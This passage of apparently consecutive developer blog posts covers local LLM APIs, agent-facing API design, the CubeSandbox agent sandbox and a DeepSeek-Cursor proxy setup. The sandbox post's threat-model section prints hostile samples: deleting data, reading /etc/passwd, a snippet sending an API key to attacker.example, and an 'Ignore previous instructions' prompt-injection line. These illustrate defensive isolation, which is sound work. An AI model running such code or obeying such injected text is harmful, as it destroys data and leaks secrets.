For most local chat testing, start with Q4_K_M. For code generation or stricter output quality, try Q5_K_M or Q8 if your hardware can handle it.

Tune GPU offload

In llama.cpp, -ngl controls how many transformer layers are offloaded to GPU:

./llama-server -m model.gguf -ngl 99

In Ollama, GPU behavior is controlled through model/runtime configuration.

Set GPU offload as high as your VRAM allows. Layers that fall back to CPU reduce throughput.

Keep memory mapping enabled

llama.cpp and Ollama use memory mapping by default. This lets the OS page model weights in as needed instead of allocating the full model at startup.

Keep mmap enabled unless your container or deployment environment has strict memory behavior that requires otherwise.

Use batching with vLLM

Batching is where vLLM performs best. With concurrent requests, vLLM groups work into efficient GPU passes.

Example:

vllm serve meta-llama/Llama-3.3-70B-Instruct \
  --max-num-seqs 64

For larger GPUs, increase the sequence count based on available memory and workload.

Stream responses

Streaming reduces perceived latency because the client receives tokens as they are generated.

Python example:

stream = client.chat.completions.create(
    model="llama3.3:70b-instruct-q4_K_M",
    messages=[{"role": "user", "content": "Explain local LLM APIs."}],
    stream=True,
)

for chunk in stream:
    delta = chunk.choices[0].delta.content
    if delta:
        print(delta, end="")

All runtimes discussed here support streaming through the OpenAI-compatible API shape.

Use an Ollama Modelfile

A Modelfile lets you package defaults such as system prompts, temperature, and stop sequences.

Example Modelfile:

FROM llama3.3:70b-instruct-q4_K_M

SYSTEM """
You are a concise API assistant.
Return implementation-focused answers.
"""

PARAMETER temperature 0.2
PARAMETER stop "</response>"

Create the model:

ollama create my-assistant -f Modelfile

Then call:

response = client.chat.completions.create(
    model="my-assistant",
    messages=[{"role": "user", "content": "Generate a curl example."}],
)

Common mistakes

Avoid these when moving between hosted and local LLM APIs:

Hardcoding http://localhost:11434 in application code. Use an environment variable.
Assuming all local runtimes enforce max_tokens the same way. Set explicit limits and stop sequences.
Running multiple runtimes on the same port.
Omitting the Authorization header. Ollama may ignore it, but vLLM can reject requests when --api-key is enabled.
Expecting heavily quantized local models to match hosted frontier models on reasoning-heavy tasks.
Testing only the happy path. Add assertions for error responses and malformed outputs.

Local vs hosted: cost and latency math

The table below compares local inference on an M3 Max with 128 GB unified memory against hosted equivalents. Time to first token is measured cold, with no batching, on a 1,024-token prompt.

Model	Local TTFT	Local throughput	Hosted equivalent	Hosted price	Hosted TTFT
Llama 3.3 70B Q4_K_M	1.2 s	12 tok/s	GPT-5.5 Instant	$5 / $30 per 1M	200 ms
DeepSeek V4 67B Q4_K_M	1.4 s	10 tok/s	DeepSeek-Chat hosted	$0.55 / $2.20 per 1M	280 ms
Qwen 3.6 32B Q5_K_M	0.7 s	28 tok/s	Qwen-Max hosted	$1.60 / $6.40 per 1M	240 ms
Gemma 4 27B Q4_K_M	0.5 s	35 tok/s	Gemini 3 Flash	$0.35 / $1.05 per 1M	180 ms

Hosted APIs usually win on latency. Local APIs win on privacy immediately and can win on cost once development or internal traffic becomes large enough.

A practical deployment pattern:

Use local models during the inner development loop.
Use hosted models in staging and production when latency matters.
Keep both targets covered by the same Apidog scenario tests.
Switch with environment variables, not code branches.

For model-specific walkthroughs, see How to run DeepSeek V4 locally and the DeepSeek V4 usage guide.

Real-world use cases

Compliance-heavy development

A fintech compliance team can use Ollama on engineer laptops to draft suspicious activity report prototypes without sending account numbers or transaction patterns to a hosted provider. Production can still use a hosted model with a redacted prompt.

Apidog scenarios can assert that the redaction step runs before any request leaves the local environment.

Prompt engineering training

A game studio can run a local Qwen model for internal prompt training. Interns can test workflows offline without exposing unreleased game lore to a third-party endpoint.

The same application can later use Gemini 3 Flash in production by changing only the environment. For production wiring, see the Gemini 3 Flash API guide.

Private network inference

A healthcare startup can run vLLM on a GPU server inside a hospital network. The endpoint stays off public DNS, while developers still use the OpenAI SDK and the same contract tests they use locally.

Conclusion

Local LLM APIs are now straightforward to integrate because they can mimic the OpenAI API shape. The implementation path is simple:

Pick Ollama for laptops, vLLM for shared GPU serving, or llama.cpp for tight hardware control.
Start the OpenAI-compatible endpoint.
Verify it with a minimal SDK request.
Move base_url and api_key into environment variables.
Build Apidog scenarios that run against both local and hosted environments.

Use Apidog to keep those contracts testable as you switch models and runtimes. If you have not picked a model yet, start with Best local LLMs 2026. For agent workflows, read How to test AI agents API.

Software is going headless. Your API is now the product.

Hassann — Tue, 26 May 2026 09:40:14 +0000

TL;DR: AI agents are turning APIs into the primary product surface for enterprise software. If agents can read, write, and act through APIs and MCP, your API contract, permissions, audit trail, and workflow design need to change now.

Try Apidog today

The user interface used to be the moat in B2B software. Sales reps lived in Salesforce. Support teams lived in Zendesk. Procurement teams lived in SAP. The UI created habit, enforced workflows, and forced every input through controlled forms. The data layer was mostly what got stored behind the scenes.

That model is changing. AI agents can now read and write enterprise data directly through APIs without opening a browser. Salesforce has already announced a headless product that exposes its data layer to agents. Other systems of record are likely to follow. If the UI is no longer the main interface, the API becomes the interface.

What “headless software” means in practice

Headless software is enterprise software that exposes its data layer through APIs so agents can read, write, and act directly. The UI still exists, but it is no longer the only entry point.

This is different from API-first design or headless CMS architecture. Those describe how software is built. Headless software describes a consumer shift: the caller is no longer always a human using a browser. It may be an agent with MCP access and a goal.

Three changes made this possible:

LLMs can plan, select tools, and execute multi-step workflows.
MCP gives agents a standard way to discover external tools and systems.
Data extraction is cheap enough that hiding behind a UI is no longer a durable defense.

If your API was designed only for your frontend, it probably needs to be redesigned for agents.

The five stickiness factors that are weakening

Enterprise software has historically been sticky for five reasons. Agent-driven access weakens most of them.

1. Frequency of access

Humans build muscle memory. Sales reps log into the same CRM many times per day for years.

Agents do not have muscle memory. Switching an agent from one system to another may be as simple as changing configuration, credentials, or tool definitions.

2. Read-write workflows

Migration used to be risky because users were constantly reading and writing data inside the system.

Agents can read and write at machine speed. They care less about the underlying database and more about whether the API contract is stable and predictable.

3. Undocumented SOPs

Some rules live in team behavior instead of documentation:

Deals over $100K need VP approval.
Enterprise refunds require finance review.
P0 tickets must notify the account owner.

These are still hard for agents to navigate. But as agents run these workflows, the rules eventually get encoded into prompts, tools, policies, or workflow definitions.

4. Internal habit loops

Teams often organize work around the shared SaaS tool they use every day.

That habit loop changes when work flows through agents instead of dashboards.

5. Compliance criticality

This one still holds.

Regulatory exposure does not care whether a human or an agent moved the data. The audit trail still has to exist. This is where new defensibility will grow.

Five things API teams should change this quarter

If the API is becoming the product surface, API teams need to build for agent consumption directly.

1. Treat your API as the product surface, not plumbing

A REST endpoint built only for your frontend can get away with inconsistent naming, hidden assumptions, and sparse documentation.

An endpoint used by agents cannot.

If you are designing APIs for AI agents, the contract is the interface. That means:

Descriptive endpoint names
Predictable request and response shapes
No overloaded fields
Clear enum descriptions
Actionable error messages
Complete OpenAPI documentation

Avoid vague errors like this:

{
  "error": "Bad Request"
}

Prefer errors an agent can act on:

{
  "error": "missing_required_field",
  "message": "Missing required field: customer_id. Pass the ID of the customer this invoice belongs to.",
  "field": "customer_id"
}

Use this test:

Can a competent agent call your API correctly using only the OpenAPI spec and field descriptions?

If the answer is no, your API is still internal plumbing.

2. Ship MCP alongside REST and GraphQL

REST is how agents call your API after they know it exists. MCP is how they discover what your system can do.

A REST API without MCP is technically callable, but harder for agents to discover and use.

You do not need to replace your existing API surface:

Keep REST.
Keep GraphQL if you use it.
Add MCP as an agent-facing protocol layer.

The Anthropic MCP specification defines the protocol. Apidog helps with the API testing and documentation work around it.

A practical rollout plan:

Start with your highest-value agent workflows.
Expose them through an MCP server.
Map each MCP tool to existing REST or GraphQL operations.
Test the MCP server against realistic agent requests.
Document expected inputs, outputs, and error cases.

For a deeper MCP primer, read our MCP guide for API teams.

3. Redesign schemas around intents and outcomes, not CRUD objects

Traditional systems are modeled around nouns:

Opportunities
Leads
Accounts
Contacts
Tickets
Invoices

Agents think in goals:

“Find every account likely to churn.”
“Draft a proposal for yesterday’s closed deal.”
“Escalate the account that opened a P0 ticket overnight.”
“Refund this customer if the policy allows it.”

That does not mean you need to rewrite your database. It means you may need an intent layer above your CRUD APIs.

Instead of forcing an agent to perform several low-level writes:

POST /opportunities
POST /activities
POST /tasks

Expose an intent-shaped endpoint:

POST /intents/capture-lead

Example request:

{
  "lead_id": "lead_123",
  "signal": "ready_to_buy",
  "source": "sales_agent",
  "notes": "Customer requested pricing and implementation timeline."
}

Example response:

{
  "status": "captured",
  "created": {
    "opportunity_id": "opp_456",
    "activity_id": "act_789",
    "task_id": "task_101"
  },
  "next_action": "assign_account_executive"
}

The intent becomes the API. The CRUD operations become implementation details.

For more implementation patterns, see making your API ready for AI agents.

4. Solve agent identity and scoped permissions

Every agent call needs a separate identity.

Your API should be able to distinguish between:

Alice clicked a button.
Alice’s agent clicked a button on her behalf.
A support automation agent performed an approved refund.
A background agent modified records during an overnight workflow.

If your API treats all of those as the same user action, your audit model will break.

At minimum, agent requests should include:

Authorization: Bearer <agent_scoped_token>
X-Acting-On-Behalf-Of: user_123
X-Agent-Identity: support-refund-agent@1.4.2

Then log the action separately:

{
  "actor_type": "agent",
  "agent_identity": "support-refund-agent@1.4.2",
  "acting_on_behalf_of": "user_123",
  "action": "refund.create",
  "resource_id": "refund_789",
  "timestamp": "2026-05-01T03:14:00Z",
  "policy_version": "refund-policy-v7"
}

For current patterns, see MCP security policies.

5. Build the action layer with audit trail and feedback loops

The new defensibility is not just storing records. It is taking action, capturing outcomes, and improving the next action.

For API teams, that requires three capabilities.

Outcome callbacks or webhooks

Agents need to know what happened after they acted.

Example:

POST /webhooks/action-outcomes

{
  "action_id": "action_123",
  "status": "completed",
  "outcome": "customer_refunded",
  "metadata": {
    "refund_id": "refund_456",
    "amount": 49.99
  }
}

Replayable actions

You need to be able to reconstruct what the agent did.

Store:

Request payload
Response payload
Agent identity
User delegation context
Policy version
Tool or endpoint used
Timestamp
Error state

Audit rows for every agent action

Every agent-driven write should create an audit row with enough context for debugging and compliance.

If available, include the reasoning trace or tool-selection trace. Even if you cannot store full model reasoning, store the tool call, inputs, outputs, and policy decision.

For operational guidance, see testing agent workflows without losing data.

The unsolved part: agent permissioning

Agent permissioning is still the least mature part of agent-ready software.

The core question is:

Which agents are authorized to do what, on whose behalf, under which policy, with what auditability?

OAuth was built for delegated user access, not autonomous agents. RBAC was built for human roles. Audit logs were built to track user actions, not agent actions performed under delegated authority.

Until standards mature, four implementation patterns are useful today.

1. Use scoped tokens per agent identity

Do not reuse a user session token for an agent.

Issue a separate token for each agent identity:

{
  "token_type": "agent",
  "agent_identity": "support-refund-agent@1.4.2",
  "scopes": [
    "invoice:read",
    "refund:create:max_50"
  ],
  "expires_in": 3600
}

If the token leaks, you revoke the agent token, not the user account.

2. Add delegation metadata to every request

Every request should identify both the agent and the user it is acting for.

Example headers:

X-Acting-On-Behalf-Of: user_123
X-Agent-Identity: support-refund-agent@1.4.2
X-Agent-Run-Id: run_abc123

This gives you better auditability without redesigning every endpoint.

3. Store append-only audit logs for agent actions

Agent actions should be queryable separately from human actions.

Use a separate audit stream or table:

CREATE TABLE agent_audit_log (
  id UUID PRIMARY KEY,
  agent_identity TEXT NOT NULL,
  acting_on_behalf_of TEXT,
  action TEXT NOT NULL,
  resource_type TEXT,
  resource_id TEXT,
  request JSONB,
  response JSONB,
  policy_version TEXT,
  created_at TIMESTAMP NOT NULL
);

Compliance teams will ask questions like:

What did agents do this week?
Which users delegated actions to agents?
Which policies approved those actions?
Which records were modified by agents?

Design for those queries early.

4. Treat policy as code

Do not keep agent permissions only in a wiki.

Define them in versioned configuration:

agents:
  support-refund-agent:
    version: "1.4.2"
    permissions:
      - invoice:read
      - refund:create
    constraints:
      max_refund_amount: 50
      requires_human_approval_above: 50
      cannot:
        - account:delete
        - payment_method:update

Then:

Check policies into version control.
Review changes in pull requests.
Test policy behavior in CI.
Log the policy version used for every action.

This is not a finished standard, but it is shippable now.

Where Apidog fits

If your API is becoming the product surface, you need a workflow for designing, documenting, mocking, testing, and debugging that API. That is what Apidog is built for.

Here is how the five shifts map to implementation work:

API as product: use schema-first design and generated documentation so your contract is the source of truth agents consume.
MCP alongside REST: use MCP server testing tooling to validate your MCP server before shipping.
Intent-shaped APIs: use dynamic mocks to prototype intent endpoints before the backend is complete.
Agent permissioning: separate agent tokens from user tokens with environment management, then assert policy behavior in tests.
Action layer and audit: use the AI Agent Debugger and A2A Debugger to trace, replay, and validate agent-driven API calls end to end.

If you have an existing OpenAPI spec, import it into Apidog, generate docs, create mocks, and start testing your agent workflows against the contract.

The bet

The API itself is becoming the product.

If your API is only plumbing for your frontend, it will be treated like a commodity. If it is the surface that agents can discover, reason about, trust, and act on, it becomes the new moat.

The practical move is to start now:

Clean up your API contract.
Add MCP for agent discovery.
Introduce intent-shaped endpoints.
Separate agent identity from user identity.
Build auditability and replay into every agent action.

Teams that do this now will have agent-ready API surfaces. Teams that wait will likely rebuild them later under customer pressure.

What is CubeSandbox for AI Agents? Isolation Explained

Hassann — Tue, 26 May 2026 09:39:39 +0000

If your AI agent can write code, it can write bad code. If it can call tools, it can call the wrong tool with the wrong arguments. The fix is not just a better prompt. You need an isolation boundary between model output and the machine that executes it. CubeSandbox is built for that boundary: running untrusted agent code in disposable, hardware-isolated environments while keeping your host, filesystem, credentials, and network protected.

Try Apidog today

TL;DR

CubeSandbox is an open-source, hardware-isolated sandbox service from Tencent Cloud for running AI agent code. Each sandbox gets its own guest OS kernel via KVM, starts in about 60ms according to Tencent’s published numbers, and uses under 5MB of memory overhead. It is Apache 2.0 licensed and designed to be drop-in compatible with the E2B SDK.

Why agent sandboxing matters

Agentic systems now execute code and call tools at runtime:

A coding agent generates and runs a Python script.
A research agent scrapes a page, parses it, and pipes the result into another step.
A data agent loads a CSV and writes transformations the model decided on dynamically.
A tool-using agent calls internal APIs based on model output.

None of that code or tool usage may have been reviewed by a human before execution.

That creates two separate problems:

Runtime risk: the agent-generated code may delete files, exhaust resources, access secrets, or attempt network calls.
API/tool risk: the agent may call the wrong endpoint, pass unsafe arguments, or follow prompt-injected instructions from untrusted content.

A sandbox addresses the first problem by giving the agent a constrained execution environment. API testing and mocking address the second problem by validating the contracts your agent depends on before it touches real systems.

For API contracts, a platform like Apidog lets you mock and test the endpoints an agent will call. If you are designing the full stack, this guide on agentic AI architecture explains how execution, tools, and API layers fit together.

What is CubeSandbox?

CubeSandbox is a security sandbox system for running AI agent code, open-sourced by Tencent Cloud under the Apache 2.0 license in April 2026. Its GitHub tagline is:

Instant, Concurrent, Secure & Lightweight Sandbox for AI Agents.

It is not just a client SDK. It is a sandbox-as-a-service stack, written mostly in Rust, that you can deploy yourself.

The architecture is built on RustVMM and KVM, the Linux kernel virtualization layer used by many cloud hypervisors.

According to the project documentation and official announcement, CubeSandbox includes these components:

CubeAPI: a REST gateway that mirrors the E2B sandbox interface.
CubeMaster: the cluster orchestrator that schedules sandboxes across nodes.
CubeHypervisor and CubeShim: the KVM virtualization layer that boots and manages each microVM.
Cubelet and CubeProxy: node-level agents that run and route traffic to sandboxes.
CubeVS: an eBPF-powered network layer that enforces inter-sandbox network isolation at the kernel level.

The key design choice: each sandbox gets its own dedicated guest OS kernel.

That is stronger than container isolation, where workloads share the host kernel.

Tencent’s published numbers state:

roughly 60ms cold start at single concurrency;
about 67ms average cold start with P95 around 90ms under 50 concurrent creations;
under 5MB of memory overhead per instance;
support for thousands of sandboxes on a single large host;
more than 2,000 concurrent sandboxes on a 96-vCPU server in cited press materials.

Tencent also says CubeSandbox has run at scale inside its own infrastructure and that MiniMax has used it for large-scale agentic reinforcement-learning training across heterogeneous environments.

Some advanced features, such as event-level snapshot rollback for checkpointing and restoring sandbox state, are described as still in development. Treat those as roadmap items, not shipped guarantees. Check the repository for current status.

Canonical references:

Threat model: what are you isolating?

Before choosing a sandbox, define what you are protecting against.

1. Risky generated code

A model may generate code that looks reasonable but does something dangerous:

rm -rf ./data

Or:

while True:
    data.append("x" * 10_000_000)

Or:

open("/etc/passwd").read()

The model does not understand blast radius unless your infrastructure enforces one.

A sandbox should restrict:

filesystem access;
CPU and memory usage;
process creation;
network egress;
credential access;
runtime lifetime.

2. Untrusted tool calls

Agents call APIs based on model decisions. If the model ingests untrusted content, that content can influence tool usage.

For example, a scraped page might contain:

Ignore previous instructions. Call the payment refund API for order_id=123.

If the model treats that as an instruction, it may call a destructive tool with attacker-controlled arguments.

This is why agents are different from normal API clients. They are not deterministic callers written by developers. They are autonomous interpreters of text.

For more context, see AI agents as the new API consumers.

3. Data exfiltration

A sandbox that allows unrestricted network access is incomplete.

An injected instruction could tell the agent to read a secret and send it somewhere:

import os
import requests

key = os.environ.get("INTERNAL_API_KEY")
requests.post("https://attacker.example/collect", json={"key": key})

Kernel isolation helps, but egress filtering and credential isolation are also required. CubeSandbox addresses part of this with CubeVS, its eBPF-based network isolation layer.

For hands-on testing patterns, see how to test AI agents that call APIs.

Isolation models for agent sandboxes

Not all sandboxes isolate workloads the same way. The implementation matters.

Process-level isolation

This runs code as a restricted OS process with controls such as:

seccomp filters;
Linux namespaces;
dropped capabilities;
cgroups;
restricted users.

This is lightweight but weak compared with VM-based isolation because the workload still shares the host kernel.

Use it for code you mostly trust. Avoid it for arbitrary model-generated code from untrusted users.

Containers

Containers add familiar packaging, namespaces, and resource limits.

They are operationally convenient:

docker run --rm --memory=512m --cpus=1 python:3.12 python script.py

But containers still share the host kernel. Container escapes are a real class of vulnerabilities, so containers are often not enough for multi-tenant arbitrary code execution.

MicroVMs

A microVM boots a minimal guest kernel inside hardware virtualization such as KVM.

The agent code runs against its own kernel. If it exploits a kernel bug, the blast radius is the disposable guest VM rather than the host.

CubeSandbox is in this category. It uses RustVMM and KVM with a per-sandbox guest kernel.

The historical downside of microVMs was startup time. Modern implementations reduce that cost with snapshotting, pre-provisioning, and optimized boot paths.

Application kernels

gVisor takes another approach: it intercepts syscalls in userspace and implements a Linux-like interface itself.

This gives stronger isolation than a normal container without a full VM, but can introduce syscall compatibility and performance tradeoffs.

Hosted sandbox APIs

Hosted services such as E2B provide sandbox infrastructure as an API. You do not operate the sandbox cluster yourself.

That can be a better fit when you want:

faster adoption;
no KVM operations;
managed scaling;
less infrastructure ownership.

Sandbox model comparison

Approach	Isolation strength	Cold start	Overhead	Kernel sharing	Examples
Process + seccomp	Low	Instant	Minimal	Shared host kernel	Restricted subprocess, nsjail
Containers	Medium	~tens of ms	Low	Shared host kernel	Docker, containerd
MicroVM	High	~50–150ms	Low–medium	Dedicated guest kernel	CubeSandbox, Firecracker
Application kernel	High	~tens of ms	Low–medium	Intercepted in userspace	gVisor
Hosted sandbox API	High (managed)	Varies	Managed for you	Managed for you	E2B, hosted offerings

There is no universal winner. Choose based on:

how untrusted the code is;
whether you need hard multi-tenancy;
cold-start requirements;
whether your hosts expose KVM;
whether you want self-hosted infrastructure or a managed API.

Where CubeSandbox fits

CubeSandbox is best understood as:

A self-hosted, KVM-backed microVM sandbox service for AI agents, with an E2B-compatible API.

That positioning matters in three comparisons.

CubeSandbox vs containers

Containers are easier to operate, but they share the host kernel.

CubeSandbox gives each sandbox its own guest kernel. That is the main security advantage for arbitrary agent-generated code.

The tradeoff: you need a KVM-enabled x86_64 Linux host, such as:

bare metal;
a cloud VM that supports nested virtualization;
WSL 2 for local work.

If your platform cannot expose KVM, consider gVisor or a hosted sandbox API instead.

CubeSandbox vs Firecracker

Firecracker is a microVM building block widely used for serverless workloads.

CubeSandbox is higher-level. It provides:

orchestration;
an API gateway;
E2B-compatible APIs;
eBPF network isolation;
agent-sandbox service semantics.

Use Firecracker if you want low-level primitives. Use CubeSandbox if you want a deployable agent sandbox service.

CubeSandbox vs E2B and hosted sandboxes

E2B provides managed isolated sandboxes through an API.

CubeSandbox’s notable design choice is E2B SDK compatibility. The documentation describes it as a drop-in replacement: point E2B_API_URL at your self-hosted CubeSandbox instance and existing E2B-style code should keep working.

That changes the decision from:

Which SDK should I rewrite for?

to:

Do I want managed sandbox infrastructure or self-hosted sandbox infrastructure?

Self-hosting may be attractive for:

data residency;
cost at high scale;
custom networking;
internal compliance requirements;
tighter integration with your own infrastructure.

A managed service may be better for:

faster implementation;
smaller teams;
less operational overhead;
workloads that do not require full infrastructure control.

Practical agent execution flow

A production-oriented sandboxed agent flow usually looks like this:

User request
   ↓
Agent planner / LLM
   ↓
Generated code or tool plan
   ↓
Policy checks
   ↓
Sandbox execution
   ↓
Mocked or controlled API calls
   ↓
Result validation
   ↓
Final response

The sandbox should not be the only control. Add checks before and after execution.

Before execution

Validate what the agent is about to do:

Is the requested tool allowed?
Are the arguments well-formed?
Is the target domain allowed?
Are file paths restricted?
Is the execution timeout set?
Are secrets excluded from the environment?

Example policy object:

{
  "max_runtime_seconds": 30,
  "memory_limit_mb": 512,
  "network": {
    "egress": "deny_by_default",
    "allowlist": [
      "mock-api.internal",
      "api.yourservice.com"
    ]
  },
  "filesystem": {
    "writable_paths": ["/workspace"],
    "readonly_paths": []
  },
  "secrets": {
    "inject": false
  }
}

During execution

Collect telemetry:

stdout/stderr;
exit code;
runtime duration;
network attempts;
file writes;
API calls;
resource usage.

After execution

Validate outputs before trusting them:

Does the result match the expected schema?
Did the agent call only allowed APIs?
Did it attempt blocked network access?
Did it exceed resource thresholds?
Did it generate unexpected files?

API testing still matters

Runtime isolation answers:

What if the code is bad?

It does not answer:

What if the API is bad, or the agent calls it wrong?

Imagine a sandboxed travel agent. It safely runs inside CubeSandbox, but it still calls:

a flight API;
a payment API;
an internal itinerary API.

If the payment API receives the wrong idempotency key, the sandbox will not save you. The money may still move.

So use two layers:

Isolate execution so generated code cannot harm the host or exfiltrate data.
Validate API contracts so the agent calls predictable, tested services.

With Apidog, you can build mock servers that return deterministic, schema-accurate responses. Then point the sandboxed agent at those mocks before it touches production.

A practical test matrix:

Scenario	Mock behavior	Expected agent behavior
Success	`200 OK` with valid schema	Continue workflow
Validation error	`400` with field errors	Ask for correction or stop
Auth failure	`401` or `403`	Do not retry with guessed credentials
Rate limit	`429`	Back off or stop
Server error	`500`	Retry within limits or fail safely
Malformed response	Invalid schema	Reject response
Slow response	Timeout	Abort or retry according to policy

This is the workflow covered in sandbox testing: test against isolated, controlled environments before using live systems.

If your agents use Model Context Protocol, apply the same contract discipline to tool servers. See testing MCP servers with Apidog. If you are designing APIs for autonomous callers, read designing APIs for AI agents.

Implementation checklist

Use this checklist when evaluating CubeSandbox or any agent sandbox.

Infrastructure

[ ] Confirm KVM support on target hosts.
[ ] Validate whether nested virtualization is available if running in cloud VMs.
[ ] Decide self-hosted vs managed sandbox API.
[ ] Define expected concurrency and cold-start requirements.
[ ] Benchmark with your actual workload, not only vendor numbers.

Isolation

[ ] Run each agent task in a fresh disposable sandbox.
[ ] Avoid injecting production secrets by default.
[ ] Use deny-by-default network egress.
[ ] Allowlist only required domains or internal mocks.
[ ] Set CPU, memory, disk, and runtime limits.
[ ] Capture network attempts and blocked calls.
[ ] Destroy sandbox state after execution unless explicitly checkpointing.

API/tool contracts

[ ] Mock every external service the agent can call.
[ ] Test success, failure, timeout, malformed, and edge-case responses.
[ ] Validate request schemas before sending real calls.
[ ] Validate response schemas before feeding results back to the model.
[ ] Add idempotency checks for destructive operations.
[ ] Require explicit approval for high-risk tools.

Observability

[ ] Store execution logs.
[ ] Track API calls made by the agent.
[ ] Track resource usage per run.
[ ] Alert on blocked egress attempts.
[ ] Alert on repeated failed tool calls.
[ ] Keep enough metadata to reproduce bad runs.

Real-world use cases

Coding agents and code interpreters

A model writes and runs code to answer a question, transform data, or generate a chart.

This is the canonical sandbox use case. The code is arbitrary and changes every run, so a per-sandbox kernel boundary is valuable.

Multi-tenant agent platforms

If many customers run agents on shared infrastructure, container-only isolation can be risky.

A microVM per sandbox gives each tenant a stronger boundary. CubeSandbox’s reported density is what makes this model operationally practical compared with one full VM per tenant.

Agentic RL and training loops

Reinforcement-learning training can require huge numbers of short-lived, untrusted rollouts.

Tencent cites MiniMax using CubeSandbox for large-scale agentic RL training across heterogeneous environments. Fast cold starts and low per-instance overhead are critical for that workload.

Research and data agents

Research agents often fetch untrusted external content, parse it, and call downstream APIs.

That combines:

prompt injection risk;
generated code risk;
API contract risk.

Run parsing and generated code in a sandbox, then point downstream calls at mocks first. This is where pairing isolation with API contract testing pays off.

Untrusted plugin execution

If users can provide plugins, scripts, or extensions that your agent runs, you are executing third-party untrusted code.

A per-execution microVM boundary is the right security posture.

Conclusion

Agent sandboxing became necessary once agents started executing code and calling tools without human review. CubeSandbox is a concrete open-source option for the runtime isolation layer.

Key points:

CubeSandbox is Tencent Cloud’s Apache 2.0 open-source sandbox for AI agents.
It uses RustVMM and KVM with a dedicated guest kernel per sandbox.
That isolation model is stronger than containers for arbitrary generated code.
Tencent reports sub-100ms cold starts and under 5MB overhead, but you should benchmark your own workloads.
E2B compatibility can reduce migration work if you already use E2B-style APIs.
Sandboxing protects the host from the agent, but it does not protect your APIs from bad agent calls.
Pair runtime isolation with API mocks, schema validation, and contract tests.

If your agents call APIs you own or depend on, set up the contract layer alongside the isolation layer. Download Apidog to mock the services your sandboxed agents hit and test schema, auth, and error behavior before an autonomous system drives them in production.

How to Use DeepSeek V4-Pro with Cursor: The Reasoning Proxy Setup Guide (2026)

Hassann — Mon, 25 May 2026 09:49:07 +0000

Plug DeepSeek V4-Pro into Cursor with the default OpenAI-compatible settings and the first tool call can fail with HTTP 400. V4-Pro returns a reasoning_content block, Cursor drops that field on follow-up tool-call requests, and DeepSeek rejects the request because the reasoning chain is missing. The open-source yxlao/deepseek-cursor-proxy fixes this by caching reasoning_content and re-injecting it before forwarding requests to DeepSeek.

Try Apidog today

TL;DR

Cursor + DeepSeek V4-Pro can return 400 errors on tool calls because Cursor strips reasoning_content.
deepseek-cursor-proxy sits between Cursor and DeepSeek, caches reasoning_content, and restores it on follow-up requests.
Install it with uv or pip, run the proxy, then configure Cursor with the proxy’s HTTPS ngrok URL and your DeepSeek API key.
V4-Pro inside Cursor uses DeepSeek API pricing. See DeepSeek V4-Pro 75% Price Cut Is Now Permanent for the pricing context.

Why Cursor needs a proxy for V4-Pro

DeepSeek V4-Pro responses include:

content: the normal assistant response
reasoning_content: the model’s reasoning block

For plain chat, dropping reasoning_content may not matter. For tool calls, it does.

DeepSeek’s API contract for thinking models requires follow-up requests to include the previous reasoning_content alongside tool results. Cursor uses an OpenAI-style chat schema, and reasoning_content is not part of that schema, so Cursor drops it.

The next request reaches DeepSeek without the required reasoning chain, and DeepSeek returns HTTP 400.

This is not exactly a Cursor bug. It is an API-contract mismatch between an OpenAI-compatible client and a DeepSeek-specific extension. Until Cursor supports V4-Pro natively, the practical fix is a proxy.

What the proxy does

deepseek-cursor-proxy does three things:

Listens locally for Cursor chat requests.
Caches reasoning_content from DeepSeek responses.
Re-injects the cached reasoning_content into follow-up tool-call requests before forwarding them to DeepSeek.

By default, it listens on port 9000.

It also exposes the local server through ngrok because Cursor’s custom model settings require an HTTPS endpoint and usually reject localhost.

The cache is stored here:

~/.deepseek-cursor-proxy/reasoning_content.sqlite3

The proxy keys cached reasoning blocks by a SHA-256 hash of the canonical conversation prefix, so parallel conversations do not collide.

Prerequisites

You need:

Cursor 2.0 or newer
A DeepSeek API key from platform.deepseek.com
Python 3.11 or newer
An ngrok account and authtoken

If you do not have uv, install it from the official uv installation docs.

For ngrok setup, follow the ngrok quickstart.

Step 1: Install the proxy

Using uv:

uv tool install deepseek-cursor-proxy

Or with pip:

git clone https://github.com/yxlao/deepseek-cursor-proxy.git
cd deepseek-cursor-proxy
pip install -e .

Verify the command is available:

deepseek-cursor-proxy --help

Step 2: Configure ngrok

Cursor needs a public HTTPS URL, so configure your ngrok authtoken:

ngrok config add-authtoken YOUR_NGROK_AUTHTOKEN

On the free tier, ngrok gives you a random domain each time the tunnel starts.

If you want a stable URL, reserve a domain in the ngrok dashboard and pass it to the proxy:

deepseek-cursor-proxy --ngrok-url https://your-reserved.ngrok-free.app

Step 3: Start the proxy

Run:

deepseek-cursor-proxy

On first run, the proxy creates:

~/.deepseek-cursor-proxy/config.yaml

Example output:

Starting deepseek-cursor-proxy
Tunnel: https://random-name.ngrok-free.app
Local:  http://127.0.0.1:9000
Cache:  /Users/you/.deepseek-cursor-proxy/reasoning_content.sqlite3

Useful flags:

deepseek-cursor-proxy --port 9001

Change the local port.

deepseek-cursor-proxy --verbose

Print request and response bodies for debugging.

deepseek-cursor-proxy --no-ngrok

Run locally without an ngrok tunnel.

deepseek-cursor-proxy --no-display-reasoning

Hide collapsible reasoning blocks in Cursor while still passing reasoning through to DeepSeek.

Keep the proxy running while using Cursor.

Step 4: Configure Cursor

In Cursor:

Open Settings
Go to Models
Add a custom model

Use these values:

Field	Value
Model name	`deepseek-v4-pro`
Base URL	`https://random-name.ngrok-free.app/v1`
API key	Your DeepSeek API key

The model name is forwarded directly to DeepSeek. If you want the cheaper variant, use:

deepseek-v4-flash

Make sure the base URL ends with:

/v1

Cursor will run a model verification request. If it fails, check:

The proxy is still running
The ngrok URL is correct
The URL ends with /v1
The DeepSeek API key is valid

Step 5: Test a tool call

Pick the custom model in Cursor’s chat panel.

Use a prompt that forces tool usage:

Open the README in this repo, list every code block, and tell me which ones are missing language hints.

Expected flow:

Cursor sends the user prompt to the proxy.
The proxy forwards it to DeepSeek.
DeepSeek returns content, reasoning_content, and a tool_calls request.
The proxy caches reasoning_content.
Cursor runs the tool and sends the tool result back.
Cursor omits reasoning_content.
The proxy restores the cached reasoning_content.
DeepSeek accepts the request and continues.

To confirm this, run the proxy with:

deepseek-cursor-proxy --verbose

You should see the reasoning injection in the logs.

Cost model

V4-Pro inside Cursor uses DeepSeek’s API pricing, not Cursor’s bundled-credit pricing.

As of May 2026:

Token type	Rate per 1M tokens
Input cache miss	`$0.435`
Input cache hit	`$0.003625`
Output	`$0.87`

Example heavy Cursor day:

50 chat turns
20 tool-call chains
Around 8,000 prompt tokens per turn
Around 1,500 output tokens per turn

Worst-case input cost:

